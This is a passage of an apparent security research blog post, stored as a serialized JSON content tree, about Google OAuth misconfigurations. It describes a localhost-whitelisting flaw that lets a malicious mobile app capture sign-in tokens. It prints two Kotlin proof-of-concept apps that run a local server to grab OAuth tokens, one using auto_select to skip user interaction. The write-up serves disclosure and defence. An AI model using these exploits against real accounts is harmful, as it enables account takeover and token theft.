",{"type":24,"tag":284,"props":106702,"children":106704},{"className":106703},[],[106705],{"type":29,"value":106706},"location.hash",{"type":24,"tag":168,"props":106708,"children":106710},{"id":106709},"different-configurations",[106711],{"type":29,"value":106712},"Different Configurations",{"type":24,"tag":25,"props":106714,"children":106715},{},[106716],{"type":29,"value":106717},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":24,"tag":1380,"props":106719,"children":106720},{},[106721,106726],{"type":24,"tag":179,"props":106722,"children":106723},{},[106724],{"type":29,"value":106725},"Authorized origins",{"type":24,"tag":179,"props":106727,"children":106728},{},[106729],{"type":29,"value":106730},"Authorized redirect URIs",{"type":24,"tag":25,"props":106732,"children":106733},{},[106734],{"type":24,"tag":11511,"props":106735,"children":106737},{"alt":57299,"src":106736},"/posts/oauth-misconfigurations/image3.png",[],{"type":24,"tag":25,"props":106739,"children":106740},{},[106741,106743,106748],{"type":29,"value":106742},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":24,"tag":284,"props":106744,"children":106746},{"className":106745},[],[106747],{"type":29,"value":76322},{"type":29,"value":66},{"type":24,"tag":25,"props":106750,"children":106751},{},[106752,106754,106760,106762,106767],{"type":29,"value":106753},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":24,"tag":284,"props":106755,"children":106757},{"className":106756},[],[106758],{"type":29,"value":106759},"/oauth2/v2/auth",{"type":29,"value":106761}," by checking the ",{"type":24,"tag":284,"props":106763,"children":106765},{"className":106764},[],[106766],{"type":29,"value":46849},{"type":29,"value":106768}," query parameter.",{"type":24,"tag":25,"props":106770,"children":106771},{},[106772,106774,106779,106781,106786],{"type":29,"value":106773},"In the old flow, the ",{"type":24,"tag":284,"props":106775,"children":106777},{"className":106776},[],[106778],{"type":29,"value":76490},{"type":29,"value":106780}," parameter passed in the ",{"type":24,"tag":284,"props":106782,"children":106784},{"className":106783},[],[106785],{"type":29,"value":106759},{"type":29,"value":106787}," endpoint is validated against the authorized redirect URIs.",{"type":24,"tag":25,"props":106789,"children":106790},{},[106791,106793,106798,106800,106807],{"type":29,"value":106792},"Note that the new GSI flow can also have a different flow using ",{"type":24,"tag":284,"props":106794,"children":106796},{"className":106795},[],[106797],{"type":29,"value":76490},{"type":29,"value":106799}," validation. To execute this flow, you need to specify ",{"type":24,"tag":57,"props":106801,"children":106804},{"href":106802,"rel":106803},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[61],[106805],{"type":29,"value":106806},"login_uri",{"type":29,"value":106808}," while using the SDK.",{"type":24,"tag":235,"props":106810,"children":106812},{"id":106811},"localhost-exploit",[106813],{"type":29,"value":106814},"Localhost Exploit",{"type":24,"tag":25,"props":106816,"children":106817},{},[106818,106820,106826],{"type":29,"value":106819},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":24,"tag":284,"props":106821,"children":106823},{"className":106822},[],[106824],{"type":29,"value":106825},"localhost",{"type":29,"value":106827}," origin because it is considered trusted for local testing.",{"type":24,"tag":25,"props":106829,"children":106830},{},[106831],{"type":29,"value":106832},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":24,"tag":168,"props":106834,"children":106836},{"id":106835},"exploit",[106837],{"type":29,"value":106838},"Exploit",{"type":24,"tag":25,"props":106840,"children":106841},{},[106842,106844,106849,106850,106856],{"type":29,"value":106843},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":24,"tag":284,"props":106845,"children":106847},{"className":106846},[],[106848],{"type":29,"value":106706},{"type":29,"value":1503},{"type":24,"tag":284,"props":106851,"children":106853},{"className":106852},[],[106854],{"type":29,"value":106855},"location.search",{"type":29,"value":106857},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":24,"tag":317,"props":106859,"children":106863},{"className":106860,"code":106861,"language":106862,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[106864],{"type":24,"tag":284,"props":106865,"children":106866},{"__ignoreMap":7},[106867,106896,106915,106922,106929,106948,106959,106970,107001,107024,107071,107078,107085,107092,107099,107119,107150,107161,107168,107175,107194,107217,107228,107247,107262,107273,107296,107331,107350,107357,107368,107391,107402,107414,107421,107428,107435,107442,107449,107476],{"type":24,"tag":327,"props":106868,"children":106869},{"class":329,"line":330},[106870,106875,106879,106883,106887,106891],{"type":24,"tag":327,"props":106871,"children":106872},{"style":334},[106873],{"type":29,"value":106874}," override",{"type":24,"tag":327,"props":106876,"children":106877},{"style":334},[106878],{"type":29,"value":13773},{"type":24,"tag":327,"props":106880,"children":106881},{"style":340},[106882],{"type":29,"value":77178},{"type":24,"tag":327,"props":106884,"children":106885},{"style":346},[106886],{"type":29,"value":77183},{"type":24,"tag":327,"props":106888,"children":106889},{"style":1639},[106890],{"type":29,"value":77188},{"type":24,"tag":327,"props":106892,"children":106893},{"style":346},[106894],{"type":29,"value":106895},"?){\n",{"type":24,"tag":327,"props":106897,"children":106898},{"class":329,"line":367},[106899,106903,106907,106911],{"type":24,"tag":327,"props":106900,"children":106901},{"style":334},[106902],{"type":29,"value":77201},{"type":24,"tag":327,"props":106904,"children":106905},{"style":346},[106906],{"type":29,"value":66},{"type":24,"tag":327,"props":106908,"children":106909},{"style":340},[106910],{"type":29,"value":77210},{"type":24,"tag":327,"props":106912,"children":106913},{"style":346},[106914],{"type":29,"value":77215},{"type":24,"tag":327,"props":106916,"children":106917},{"class":329,"line":408},[106918],{"type":24,"tag":327,"props":106919,"children":106920},{"emptyLinePlaceholder":16},[106921],{"type":29,"value":544},{"type":24,"tag":327,"props":106923,"children":106924},{"class":329,"line":421},[106925],{"type":24,"tag":327,"props":106926,"children":106927},{"style":551},[106928],{"type":29,"value":77230},{"type":24,"tag":327,"props":106930,"children":106931},{"class":329,"line":450},[106932,106936,106940,106944],{"type":24,"tag":327,"props":106933,"children":106934},{"style":340},[106935],{"type":29,"value":77238},{"type":24,"tag":327,"props":106937,"children":106938},{"style":346},[106939],{"type":29,"value":77243},{"type":24,"tag":327,"props":106941,"children":106942},{"style":340},[106943],{"type":29,"value":77248},{"type":24,"tag":327,"props":106945,"children":106946},{"style":346},[106947],{"type":29,"value":497},{"type":24,"tag":327,"props":106949,"children":106950},{"class":329,"line":481},[106951,106955],{"type":24,"tag":327,"props":106952,"children":106953},{"style":425},[106954],{"type":29,"value":77260},{"type":24,"tag":327,"props":106956,"children":106957},{"style":346},[106958],{"type":29,"value":497},{"type":24,"tag":327,"props":106960,"children":106961},{"class":329,"line":500},[106962,106966],{"type":24,"tag":327,"props":106963,"children":106964},{"style":340},[106965],{"type":29,"value":77272},{"type":24,"tag":327,"props":106967,"children":106968},{"style":346},[106969],{"type":29,"value":15298},{"type":24,"tag":327,"props":106971,"children":106972},{"class":329,"line":529},[106973,106977,106981,106985,106989,106993,106997],{"type":24,"tag":327,"props":106974,"children":106975},{"style":346},[106976],{"type":29,"value":77284},{"type":24,"tag":327,"props":106978,"children":106979},{"style":340},[106980],{"type":29,"value":77289},{"type":24,"tag":327,"props":106982,"children":106983},{"style":346},[106984],{"type":29,"value":349},{"type":24,"tag":327,"props":106986,"children":106987},{"style":844},[106988],{"type":29,"value":77298},{"type":24,"tag":327,"props":106990,"children":106991},{"style":346},[106992],{"type":29,"value":2744},{"type":24,"tag":327,"props":106994,"children":106995},{"style":844},[106996],{"type":29,"value":77307},{"type":24,"tag":327,"props":106998,"children":106999},{"style":346},[107000],{"type":29,"value":852},{"type":24,"tag":327,"props":107002,"children":107003},{"class":329,"line":538},[107004,107008,107012,107016,107020],{"type":24,"tag":327,"props":107005,"children":107006},{"style":346},[107007],{"type":29,"value":77319},{"type":24,"tag":327,"props":107009,"children":107010},{"style":334},[107011],{"type":29,"value":55131},{"type":24,"tag":327,"props":107013,"children":107014},{"style":346},[107015],{"type":29,"value":77328},{"type":24,"tag":327,"props":107017,"children":107018},{"style":1639},[107019],{"type":29,"value":77333},{"type":24,"tag":327,"props":107021,"children":107022},{"style":346},[107023],{"type":29,"value":364},{"type":24,"tag":327,"props":107025,"children":107026},{"class":329,"line":547},[107027,107031,107035,107039,107043,107047,107051,107055,107059,107063,107067],{"type":24,"tag":327,"props":107028,"children":107029},{"style":346},[107030],{"type":29,"value":77284},{"type":24,"tag":327,"props":107032,"children":107033},{"style":340},[107034],{"type":29,"value":58175},{"type":24,"tag":327,"props":107036,"children":107037},{"style":346},[107038],{"type":29,"value":349},{"type":24,"tag":327,"props":107040,"children":107041},{"style":844},[107042],{"type":29,"value":77298},{"type":24,"tag":327,"props":107044,"children":107045},{"style":346},[107046],{"type":29,"value":2744},{"type":24,"tag":327,"props":107048,"children":107049},{"style":844},[107050],{"type":29,"value":77365},{"type":24,"tag":327,"props":107052,"children":107053},{"style":334},[107054],{"type":29,"value":40820},{"type":24,"tag":327,"props":107056,"children":107057},{"style":381},[107058],{"type":29,"value":77374},{"type":24,"tag":327,"props":107060,"children":107061},{"style":334},[107062],{"type":29,"value":40852},{"type":24,"tag":327,"props":107064,"children":107065},{"style":844},[107066],{"type":29,"value":1406},{"type":24,"tag":327,"props":107068,"children":107069},{"style":346},[107070],{"type":29,"value":77387},{"type":24,"tag":327,"props":107072,"children":107073},{"class":329,"line":557},[107074],{"type":24,"tag":327,"props":107075,"children":107076},{"style":346},[107077],{"type":29,"value":65607},{"type":24,"tag":327,"props":107079,"children":107080},{"class":329,"line":586},[107081],{"type":24,"tag":327,"props":107082,"children":107083},{"style":346},[107084],{"type":29,"value":8989},{"type":24,"tag":327,"props":107086,"children":107087},{"class":329,"line":1017},[107088],{"type":24,"tag":327,"props":107089,"children":107090},{"emptyLinePlaceholder":16},[107091],{"type":29,"value":544},{"type":24,"tag":327,"props":107093,"children":107094},{"class":329,"line":1026},[107095],{"type":24,"tag":327,"props":107096,"children":107097},{"style":551},[107098],{"type":29,"value":77416},{"type":24,"tag":327,"props":107100,"children":107101},{"class":329,"line":1048},[107102,107106,107110,107114],{"type":24,"tag":327,"props":107103,"children":107104},{"style":334},[107105],{"type":29,"value":77424},{"type":24,"tag":327,"props":107107,"children":107108},{"style":346},[107109],{"type":29,"value":77429},{"type":24,"tag":327,"props":107111,"children":107112},{"style":381},[107113],{"type":29,"value":384},{"type":24,"tag":327,"props":107115,"children":107116},{"style":844},[107117],{"type":29,"value":107118}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":24,"tag":327,"props":107120,"children":107121},{"class":329,"line":1067},[107122,107126,107130,107134,107138,107142,107146],{"type":24,"tag":327,"props":107123,"children":107124},{"style":334},[107125],{"type":29,"value":77424},{"type":24,"tag":327,"props":107127,"children":107128},{"style":346},[107129],{"type":29,"value":77450},{"type":24,"tag":327,"props":107131,"children":107132},{"style":381},[107133],{"type":29,"value":384},{"type":24,"tag":327,"props":107135,"children":107136},{"style":340},[107137],{"type":29,"value":77459},{"type":24,"tag":327,"props":107139,"children":107140},{"style":346},[107141],{"type":29,"value":77464},{"type":24,"tag":327,"props":107143,"children":107144},{"style":340},[107145],{"type":29,"value":45925},{"type":24,"tag":327,"props":107147,"children":107148},{"style":346},[107149],{"type":29,"value":77473},{"type":24,"tag":327,"props":107151,"children":107152},{"class":329,"line":1075},[107153,107157],{"type":24,"tag":327,"props":107154,"children":107155},{"style":340},[107156],{"type":29,"value":77481},{"type":24,"tag":327,"props":107158,"children":107159},{"style":346},[107160],{"type":29,"value":77486},{"type":24,"tag":327,"props":107162,"children":107163},{"class":329,"line":1084},[107164],{"type":24,"tag":327,"props":107165,"children":107166},{"style":346},[107167],{"type":29,"value":535},{"type":24,"tag":327,"props":107169,"children":107170},{"class":329,"line":1100},[107171],{"type":24,"tag":327,"props":107172,"children":107173},{"emptyLinePlaceholder":16},[107174],{"type":29,"value":544},{"type":24,"tag":327,"props":107176,"children":107177},{"class":329,"line":1128},[107178,107182,107186,107190],{"type":24,"tag":327,"props":107179,"children":107180},{"style":334},[107181],{"type":29,"value":77508},{"type":24,"tag":327,"props":107183,"children":107184},{"style":334},[107185],{"type":29,"value":13773},{"type":24,"tag":327,"props":107187,"children":107188},{"style":340},[107189],{"type":29,"value":77517},{"type":24,"tag":327,"props":107191,"children":107192},{"style":346},[107193],{"type":29,"value":9697},{"type":24,"tag":327,"props":107195,"children":107196},{"class":329,"line":1148},[107197,107201,107205,107209,107213],{"type":24,"tag":327,"props":107198,"children":107199},{"style":340},[107200],{"type":29,"value":77529},{"type":24,"tag":327,"props":107202,"children":107203},{"style":346},[107204],{"type":29,"value":77534},{"type":24,"tag":327,"props":107206,"children":107207},{"style":381},[107208],{"type":29,"value":384},{"type":24,"tag":327,"props":107210,"children":107211},{"style":397},[107212],{"type":29,"value":77543},{"type":24,"tag":327,"props":107214,"children":107215},{"style":346},[107216],{"type":29,"value":364},{"type":24,"tag":327,"props":107218,"children":107219},{"class":329,"line":1176},[107220,107224],{"type":24,"tag":327,"props":107221,"children":107222},{"style":340},[107223],{"type":29,"value":77555},{"type":24,"tag":327,"props":107225,"children":107226},{"style":346},[107227],{"type":29,"value":497},{"type":24,"tag":327,"props":107229,"children":107230},{"class":329,"line":1184},[107231,107235,107239,107243],{"type":24,"tag":327,"props":107232,"children":107233},{"style":334},[107234],{"type":29,"value":77567},{"type":24,"tag":327,"props":107236,"children":107237},{"style":346},[107238],{"type":29,"value":349},{"type":24,"tag":327,"props":107240,"children":107241},{"style":844},[107242],{"type":29,"value":77576},{"type":24,"tag":327,"props":107244,"children":107245},{"style":346},[107246],{"type":29,"value":364},{"type":24,"tag":327,"props":107248,"children":107249},{"class":329,"line":1192},[107250,107254,107258],{"type":24,"tag":327,"props":107251,"children":107252},{"style":346},[107253],{"type":29,"value":77588},{"type":24,"tag":327,"props":107255,"children":107256},{"style":340},[107257],{"type":29,"value":77593},{"type":24,"tag":327,"props":107259,"children":107260},{"style":346},[107261],{"type":29,"value":497},{"type":24,"tag":327,"props":107263,"children":107264},{"class":329,"line":1212},[107265,107269],{"type":24,"tag":327,"props":107266,"children":107267},{"style":340},[107268],{"type":29,"value":77605},{"type":24,"tag":327,"props":107270,"children":107271},{"style":346},[107272],{"type":29,"value":497},{"type":24,"tag":327,"props":107274,"children":107275},{"class":329,"line":4841},[107276,107280,107284,107288,107292],{"type":24,"tag":327,"props":107277,"children":107278},{"style":340},[107279],{"type":29,"value":77617},{"type":24,"tag":327,"props":107281,"children":107282},{"style":346},[107283],{"type":29,"value":77622},{"type":24,"tag":327,"props":107285,"children":107286},{"style":381},[107287],{"type":29,"value":384},{"type":24,"tag":327,"props":107289,"children":107290},{"style":844},[107291],{"type":29,"value":77631},{"type":24,"tag":327,"props":107293,"children":107294},{"style":346},[107295],{"type":29,"value":852},{"type":24,"tag":327,"props":107297,"children":107298},{"class":329,"line":4862},[107299,107303,107307,107311,107315,107319,107323,107327],{"type":24,"tag":327,"props":107300,"children":107301},{"style":340},[107302],{"type":29,"value":77617},{"type":24,"tag":327,"props":107304,"children":107305},{"style":346},[107306],{"type":29,"value":77647},{"type":24,"tag":327,"props":107308,"children":107309},{"style":381},[107310],{"type":29,"value":384},{"type":24,"tag":327,"props":107312,"children":107313},{"style":844},[107314],{"type":29,"value":77656},{"type":24,"tag":327,"props":107316,"children":107317},{"style":346},[107318],{"type":29,"value":77661},{"type":24,"tag":327,"props":107320,"children":107321},{"style":381},[107322],{"type":29,"value":384},{"type":24,"tag":327,"props":107324,"children":107325},{"style":844},[107326],{"type":29,"value":77670},{"type":24,"tag":327,"props":107328,"children":107329},{"style":346},[107330],{"type":29,"value":852},{"type":24,"tag":327,"props":107332,"children":107333},{"class":329,"line":4870},[107334,107338,107342,107346],{"type":24,"tag":327,"props":107335,"children":107336},{"style":340},[107337],{"type":29,"value":77682},{"type":24,"tag":327,"props":107339,"children":107340},{"style":346},[107341],{"type":29,"value":349},{"type":24,"tag":327,"props":107343,"children":107344},{"style":844},[107345],{"type":29,"value":77691},{"type":24,"tag":327,"props":107347,"children":107348},{"style":346},[107349],{"type":29,"value":852},{"type":24,"tag":327,"props":107351,"children":107352},{"class":329,"line":4879},[107353],{"type":24,"tag":327,"props":107354,"children":107355},{"style":346},[107356],{"type":29,"value":77703},{"type":24,"tag":327,"props":107358,"children":107359},{"class":329,"line":4913},[107360,107364],{"type":24,"tag":327,"props":107361,"children":107362},{"style":340},[107363],{"type":29,"value":77711},{"type":24,"tag":327,"props":107365,"children":107366},{"style":346},[107367],{"type":29,"value":497},{"type":24,"tag":327,"props":107369,"children":107370},{"class":329,"line":4938},[107371,107375,107379,107383,107387],{"type":24,"tag":327,"props":107372,"children":107373},{"style":340},[107374],{"type":29,"value":77723},{"type":24,"tag":327,"props":107376,"children":107377},{"style":346},[107378],{"type":29,"value":1940},{"type":24,"tag":327,"props":107380,"children":107381},{"style":381},[107382],{"type":29,"value":394},{"type":24,"tag":327,"props":107384,"children":107385},{"style":844},[107386],{"type":29,"value":77736},{"type":24,"tag":327,"props":107388,"children":107389},{"style":346},[107390],{"type":29,"value":1949},{"type":24,"tag":327,"props":107392,"children":107393},{"class":329,"line":4974},[107394,107398],{"type":24,"tag":327,"props":107395,"children":107396},{"style":340},[107397],{"type":29,"value":77748},{"type":24,"tag":327,"props":107399,"children":107400},{"style":346},[107401],{"type":29,"value":497},{"type":24,"tag":327,"props":107403,"children":107404},{"class":329,"line":4982},[107405,107409],{"type":24,"tag":327,"props":107406,"children":107407},{"style":381},[107408],{"type":29,"value":77760},{"type":24,"tag":327,"props":107410,"children":107411},{"style":844},[107412],{"type":29,"value":107413},"\"document.body.innerText = location.hash;\"\n",{"type":24,"tag":327,"props":107415,"children":107416},{"class":329,"line":4990},[107417],{"type":24,"tag":327,"props":107418,"children":107419},{"style":346},[107420],{"type":29,"value":77773},{"type":24,"tag":327,"props":107422,"children":107423},{"class":329,"line":4999},[107424],{"type":24,"tag":327,"props":107425,"children":107426},{"style":346},[107427],{"type":29,"value":77703},{"type":24,"tag":327,"props":107429,"children":107430},{"class":329,"line":5042},[107431],{"type":24,"tag":327,"props":107432,"children":107433},{"style":346},[107434],{"type":29,"value":77788},{"type":24,"tag":327,"props":107436,"children":107437},{"class":329,"line":5075},[107438],{"type":24,"tag":327,"props":107439,"children":107440},{"style":346},[107441],{"type":29,"value":77796},{"type":24,"tag":327,"props":107443,"children":107444},{"class":329,"line":5083},[107445],{"type":24,"tag":327,"props":107446,"children":107447},{"style":346},[107448],{"type":29,"value":65607},{"type":24,"tag":327,"props":107450,"children":107451},{"class":329,"line":5091},[107452,107456,107460,107464,107468,107472],{"type":24,"tag":327,"props":107453,"children":107454},{"style":346},[107455],{"type":29,"value":77811},{"type":24,"tag":327,"props":107457,"children":107458},{"style":340},[107459],{"type":29,"value":77816},{"type":24,"tag":327,"props":107461,"children":107462},{"style":346},[107463],{"type":29,"value":77821},{"type":24,"tag":327,"props":107465,"children":107466},{"style":381},[107467],{"type":29,"value":384},{"type":24,"tag":327,"props":107469,"children":107470},{"style":334},[107471],{"type":29,"value":9722},{"type":24,"tag":327,"props":107473,"children":107474},{"style":346},[107475],{"type":29,"value":852},{"type":24,"tag":327,"props":107477,"children":107478},{"class":329,"line":5100},[107479],{"type":24,"tag":327,"props":107480,"children":107481},{"style":346},[107482],{"type":29,"value":535},{"type":24,"tag":25,"props":107484,"children":107485},{},[107486],{"type":29,"value":107487},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":24,"tag":25,"props":107489,"children":107490},{},[107491,107493,107499],{"type":29,"value":107492},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":24,"tag":284,"props":107494,"children":107496},{"className":107495},[],[107497],{"type":29,"value":107498},"auto_select",{"type":29,"value":107500}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":24,"tag":317,"props":107502,"children":107504},{"className":106860,"code":107503,"language":106862,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[107505],{"type":24,"tag":284,"props":107506,"children":107507},{"__ignoreMap":7},[107508,107535,107554,107561,107580,107591,107602,107633,107656,107703,107710,107717,107724,107764,107775,107782,107789,107808,107831,107842,107861,107876,107887,107907,107918,107935,107961,107985,107992,108003,108015,108028,108036,108044,108051,108058,108066,108074,108082,108090,108098,108106,108114,108121,108128,108136,108144,108152,108159,108166,108174,108181,108202,108210,108217,108224,108235,108259,108271,108288,108295,108302,108310,108318,108326,108354],{"type":24,"tag":327,"props":107509,"children":107510},{"class":329,"line":330},[107511,107515,107519,107523,107527,107531],{"type":24,"tag":327,"props":107512,"children":107513},{"style":334},[107514],{"type":29,"value":77169},{"type":24,"tag":327,"props":107516,"children":107517},{"style":334},[107518],{"type":29,"value":13773},{"type":24,"tag":327,"props":107520,"children":107521},{"style":340},[107522],{"type":29,"value":77178},{"type":24,"tag":327,"props":107524,"children":107525},{"style":346},[107526],{"type":29,"value":77183},{"type":24,"tag":327,"props":107528,"children":107529},{"style":1639},[107530],{"type":29,"value":77188},{"type":24,"tag":327,"props":107532,"children":107533},{"style":346},[107534],{"type":29,"value":77193},{"type":24,"tag":327,"props":107536,"children":107537},{"class":329,"line":367},[107538,107542,107546,107550],{"type":24,"tag":327,"props":107539,"children":107540},{"style":334},[107541],{"type":29,"value":77201},{"type":24,"tag":327,"props":107543,"children":107544},{"style":346},[107545],{"type":29,"value":66},{"type":24,"tag":327,"props":107547,"children":107548},{"style":340},[107549],{"type":29,"value":77210},{"type":24,"tag":327,"props":107551,"children":107552},{"style":346},[107553],{"type":29,"value":77215},{"type":24,"tag":327,"props":107555,"children":107556},{"class":329,"line":408},[107557],{"type":24,"tag":327,"props":107558,"children":107559},{"emptyLinePlaceholder":16},[107560],{"type":29,"value":544},{"type":24,"tag":327,"props":107562,"children":107563},{"class":329,"line":421},[107564,107568,107572,107576],{"type":24,"tag":327,"props":107565,"children":107566},{"style":340},[107567],{"type":29,"value":77238},{"type":24,"tag":327,"props":107569,"children":107570},{"style":346},[107571],{"type":29,"value":77243},{"type":24,"tag":327,"props":107573,"children":107574},{"style":340},[107575],{"type":29,"value":77248},{"type":24,"tag":327,"props":107577,"children":107578},{"style":346},[107579],{"type":29,"value":497},{"type":24,"tag":327,"props":107581,"children":107582},{"class":329,"line":450},[107583,107587],{"type":24,"tag":327,"props":107584,"children":107585},{"style":425},[107586],{"type":29,"value":77260},{"type":24,"tag":327,"props":107588,"children":107589},{"style":346},[107590],{"type":29,"value":497},{"type":24,"tag":327,"props":107592,"children":107593},{"class":329,"line":481},[107594,107598],{"type":24,"tag":327,"props":107595,"children":107596},{"style":340},[107597],{"type":29,"value":77272},{"type":24,"tag":327,"props":107599,"children":107600},{"style":346},[107601],{"type":29,"value":15298},{"type":24,"tag":327,"props":107603,"children":107604},{"class":329,"line":500},[107605,107609,107613,107617,107621,107625,107629],{"type":24,"tag":327,"props":107606,"children":107607},{"style":346},[107608],{"type":29,"value":77284},{"type":24,"tag":327,"props":107610,"children":107611},{"style":340},[107612],{"type":29,"value":77289},{"type":24,"tag":327,"props":107614,"children":107615},{"style":346},[107616],{"type":29,"value":349},{"type":24,"tag":327,"props":107618,"children":107619},{"style":844},[107620],{"type":29,"value":77298},{"type":24,"tag":327,"props":107622,"children":107623},{"style":346},[107624],{"type":29,"value":2744},{"type":24,"tag":327,"props":107626,"children":107627},{"style":844},[107628],{"type":29,"value":77307},{"type":24,"tag":327,"props":107630,"children":107631},{"style":346},[107632],{"type":29,"value":852},{"type":24,"tag":327,"props":107634,"children":107635},{"class":329,"line":529},[107636,107640,107644,107648,107652],{"type":24,"tag":327,"props":107637,"children":107638},{"style":346},[107639],{"type":29,"value":77319},{"type":24,"tag":327,"props":107641,"children":107642},{"style":334},[107643],{"type":29,"value":55131},{"type":24,"tag":327,"props":107645,"children":107646},{"style":346},[107647],{"type":29,"value":77328},{"type":24,"tag":327,"props":107649,"children":107650},{"style":1639},[107651],{"type":29,"value":77333},{"type":24,"tag":327,"props":107653,"children":107654},{"style":346},[107655],{"type":29,"value":364},{"type":24,"tag":327,"props":107657,"children":107658},{"class":329,"line":538},[107659,107663,107667,107671,107675,107679,107683,107687,107691,107695,107699],{"type":24,"tag":327,"props":107660,"children":107661},{"style":346},[107662],{"type":29,"value":77284},{"type":24,"tag":327,"props":107664,"children":107665},{"style":340},[107666],{"type":29,"value":58175},{"type":24,"tag":327,"props":107668,"children":107669},{"style":346},[107670],{"type":29,"value":349},{"type":24,"tag":327,"props":107672,"children":107673},{"style":844},[107674],{"type":29,"value":77298},{"type":24,"tag":327,"props":107676,"children":107677},{"style":346},[107678],{"type":29,"value":2744},{"type":24,"tag":327,"props":107680,"children":107681},{"style":844},[107682],{"type":29,"value":77365},{"type":24,"tag":327,"props":107684,"children":107685},{"style":334},[107686],{"type":29,"value":40820},{"type":24,"tag":327,"props":107688,"children":107689},{"style":381},[107690],{"type":29,"value":77374},{"type":24,"tag":327,"props":107692,"children":107693},{"style":334},[107694],{"type":29,"value":40852},{"type":24,"tag":327,"props":107696,"children":107697},{"style":844},[107698],{"type":29,"value":1406},{"type":24,"tag":327,"props":107700,"children":107701},{"style":346},[107702],{"type":29,"value":77387},{"type":24,"tag":327,"props":107704,"children":107705},{"class":329,"line":547},[107706],{"type":24,"tag":327,"props":107707,"children":107708},{"style":346},[107709],{"type":29,"value":65607},{"type":24,"tag":327,"props":107711,"children":107712},{"class":329,"line":557},[107713],{"